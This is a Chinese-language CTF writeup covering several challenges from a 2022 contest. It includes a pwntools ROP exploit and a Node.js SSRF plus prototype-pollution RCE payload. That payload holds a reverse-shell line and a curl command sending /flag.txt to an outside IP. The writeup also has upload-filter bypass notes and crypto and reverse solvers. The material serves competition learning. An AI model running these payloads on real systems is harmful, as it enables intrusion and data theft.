2022 西湖论剑·中国杭州网络安全技能大赛部分题目 Writeup
Pwn
Message Broad
Author: xf1les
格式化字符串 + 栈溢出。首先利用格式化字符串漏洞泄漏 libc 地址,然后通过栈溢出跳到 0x401378
读入 orw ROP 链。最后再次利用栈溢出,栈迁移执行 ROP 读 flag。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python3
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)
context(arch="amd64", log_level="debug")
libc = ELF("./libc.so.6")
libc_os = lambda x : libc.address + x
###################################################################
p = remote("tcp.cloud.dasctf.com", 23988)
p.sendlineafter("name:", "%24$p")
p.recvuntil("Hello, ")
libc.address = int(p.recvline().strip(), 16) - 0x1f12e8
info("libcbase: 0x%lx", libc.address)
rop_addr = 0x404800
p.sendafter("Now, please say something to DASCTF:", b'\x00'*0xb0 + p64(rop_addr+0xb0) + p64(0x401378))
rax_0 = libc_os(0xb1d69)
rax_1 = libc_os(0xcfb20)
rax_2 = libc_os(0xcfb30)
xchg = libc_os(0xf1b65)
rdi = libc_os(0x23b6a)
rsi = libc_os(0x2601f)
rdx = libc_os(0x142c92)
syscall = libc_os(0x630a9)
rop_raw = [
rdi, 0xdeadbeef,
rsi, 0,
rax_2, syscall,
xchg,
rsi, 0xdeadbeef,
rdx, 0x100,
rax_0, syscall,
rdi, 1,
rax_1, syscall
]
rop_raw[1] = rop_raw[8] = rop_addr + len(rop_raw) * 8
rop = flat(rop_raw) + b'/flag\x00'
rop = rop.ljust(0xb0, b'\x00')
# 0x4013a2: leave; ret
p.send(rop + p64(rop_addr-8) + p64(0x4013a2))
p.interactive()
flag: DASCTF{78498727609579599266243558991510}
Web
real_ez_node
Author:
WT_Elf
unicode 字符转义构造 SSRF,去请求/copy,/copy 中的safeobj.expand(user, index, req.body[index])存在原型链污染的问题,通过将{}.proto.outputFunctionName 污染为我们想要执行的代码,配合 ejs 的 rce,然后执行外带 flag 到我们的攻击机上面。
值得注意的是,这里过滤了__proto__,采用{}.constructor.prototype.outputFunctionName 的方式绕过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import httpx
url = 'http://3000.endpoint-271a72119329453d84690fe01a6850cd.m.ins.cloud.dasctf.com:81'
payload = """ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Length: {}
Content-Type: application/x-www-form-urlencoded
{}""".replace('\n', '\r\n')
#body = """constructor.prototype.outputFunctionName=_tmp1;global.process.mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/47.107.117.109/4567 0>&1 &"');var __tmp2
body = """constructor.prototype.outputFunctionName=_tmp1;var oo=global.process.mainModule.require('child_process').execSync('cat /flag.txt').toString();global.process.mainModule.require('child_process').exec(`curl 47.107.117.109:4567/${oo}`);var __tmp2
""".replace('\n', '\r\n')
payload = payload.format(len(body), body) \
.replace('+', '\u012b') \
.replace(' ', '\u0120') \
.replace('\r\n', '\u010d\u010a') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d') \
+ 'GET' + '\u0120' + '/'
response1 = httpx.get(f'{url}/curl?q=' + payload)
print(response1.text)
执行效果:
Node Magical Login
Author:
WT_Elf
flag1:通过设置 cookie 值,user=admin,请求/flag1 即可
flag2:通过传入一个数组对象,当中的元素有 16 个,从而能通过 if(checkcode.length === 16),然后在碰见
checkcode = checkcode.toLowerCase()
的时候发生报错,从而绕过:
if(checkcode !== “aGr5AtSp55dRacer”)
的判断
扭转乾坤
Author:
ABU
正常上传会提示 Sorry,Apache maybe refuse header equals Content-Type: multipart/form-data;
.尝试修改 multipart/form-data 为 multipart/form-dat,即可绕过。
Crypto
LockByLock
Author: 狗遛狗舞
每次输出获得 \(msg1 = m^{e_A},msg3 = m^{e_B}\),而 msg2 其实没什么用。实际上就是给了一个加密 Oracle,有两次使用机会,选择明文攻击。第一次加密 2 ,第二次加密 4 ,将结果计算一下拿到公钥 n,再利用 Pollard’s kangaroo algorithm 解离散对数拿到公钥 e.
1
2
3
4
5
6
7
8
9
10
11
#sage
m = 2
a = #第一次proxyProcedure给的msg1
b = #第二次proxyProcedure给的msg1
c = #第一次proxyProcedure给的msg3
d = #第二次proxyProcedure给的msg3
n = gcd(a**2-b,c**2-d)
e1 = discrete_log_lambda((mod(a,n)), (mod(m,n)),(10**14,10**15))
e2 = discrete_log_lambda((mod(c,n)), (mod(m,n)),(10**14,10**15))
assert pow(4,e1,n)==b
assert pow(4,e2,n)==d
接着共模攻击
1
2
3
4
5
6
7
8
9
10
11
12
import gmpy2
from Crypto.Util.number import GCD,long_to_bytes
n =
c1 = #secureProcedure给的msg1
c2 = #secureProcedure给的msg3
e1 = 470129340211823
e2 = 317977418745877
assert GCD(e1,e2)==1
s,s1,s2=gmpy2.gcdext(e1,e2)
m=(pow(c1,s1,n)*pow(c2,s2,n))%n
print(long_to_bytes(m))
#DASCTF{97528269514323274486517981335577}
Reverse
Dual personality
Author:
JANlittle
天堂之门,32 位切换到 64 位,capstone 或 dump 出 64 位代码 ida 看都行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
enc = [0xAA, 0x4F, 0x0F, 0xE2, 0xE4, 0x41, 0x99, 0x54, 0x2C, 0x2B, 0x84, 0x7E, 0xBC, 0x8F, 0x8B, 0x78, 0xD3, 0x73, 0x88, 0x5E, 0xAE, 0x47, 0x85, 0x70, 0x31, 0xB3, 0x09, 0xCE, 0x13, 0xF5, 0x0D, 0xCA]
key = [0x04, 0x77, 0x82, 0x4A]
for i in range(32):
enc[i]^=key[i%4]
key = [0xc,0x22,0x38,0xe]
for i in range(4):
t = int.from_bytes(bytes(enc[8*i:8*(i+1)]), 'little')
t = (t>>key[i]) | ((t&((1<<(key[i]))-1))<<(64-key[i]))
t = t.to_bytes(8, 'little')
for j in range(8):
enc[8*i+j] = t[j]
edx = 0x3ca7259d
for i in range(8):
t = int.from_bytes(enc[4*i:4*(i+1)], 'little')
t1 = (t-edx)&0xffffffff
edx ^= t
t1 = t1.to_bytes(4, 'little')
for j in range(4):
enc[4*i+j] = t1[j]
print(bytes(enc))
BabyRE
Author:
JANlittle
initterm 初始化 3 个函数,3 个函数还分别用 atexit 注册了 3 个终止函数,所以有 6 个函数,输入要求纯数字,先 base8 然后明文比较 +sha1 校验 +rc4,考虑复杂度直接爆破 rc4 密钥
1
2
3
4
5
6
7
8
9
10
11
12
13
from Crypto.Cipher import ARC4
enc = [0x3F, 0x95, 0xBB, 0xF2, 0x57, 0xF1, 0x7A, 0x5A, 0x22, 0x61, 0x51, 0x43, 0xA2, 0xFA, 0x9B, 0x6F, 0x44, 0x63, 0xC0, 0x08, 0x12, 0x65, 0x5C, 0x8A, 0x8C, 0x4C, 0xED, 0x5E, 0xCA, 0x76, 0xB9, 0x85, 0xAF, 0x05, 0x38, 0xED, 0x42, 0x3E, 0x42, 0xDF, 0x5D, 0xBE, 0x05, 0x8B, 0x35, 0x6D, 0xF3, 0x1C, 0xCF, 0xF8, 0x6A, 0x73, 0x25, 0xE4, 0xB7, 0xB9, 0x36, 0xFB, 0x02, 0x11, 0xA0, 0xF0, 0x57, 0xAB, 0x21, 0xC6, 0xC7, 0x46, 0x99, 0xBD, 0x1E, 0x61, 0x5E, 0xEE, 0x55, 0x18, 0xEE, 0x03, 0x29, 0x84, 0x7F, 0x94, 0x5F, 0xB4, 0x6A, 0x29, 0xD8, 0x6C, 0xE4, 0xC0, 0x9D, 0x6B, 0xCC, 0xD5, 0x94, 0x5C, 0xDD, 0xCC, 0xD5, 0x3D, 0xC0, 0xEF, 0x0C, 0x29, 0xE5, 0xB0, 0x93, 0xF1, 0xB3, 0xDE, 0xB0, 0x70]
key = 0
for i in range(1000000):
rc4 = ARC4.new(str(i).zfill(6).encode())
m = rc4.decrypt(bytes(enc))
if m.isdigit():
key = i
print(m)
m = '1523306115230466162304651523346214431471150310701503207116032063140334661543446114434066142304661563446615430464'
print('flag:', int(m, 8).to_bytes(42, 'big').decode() + str(key))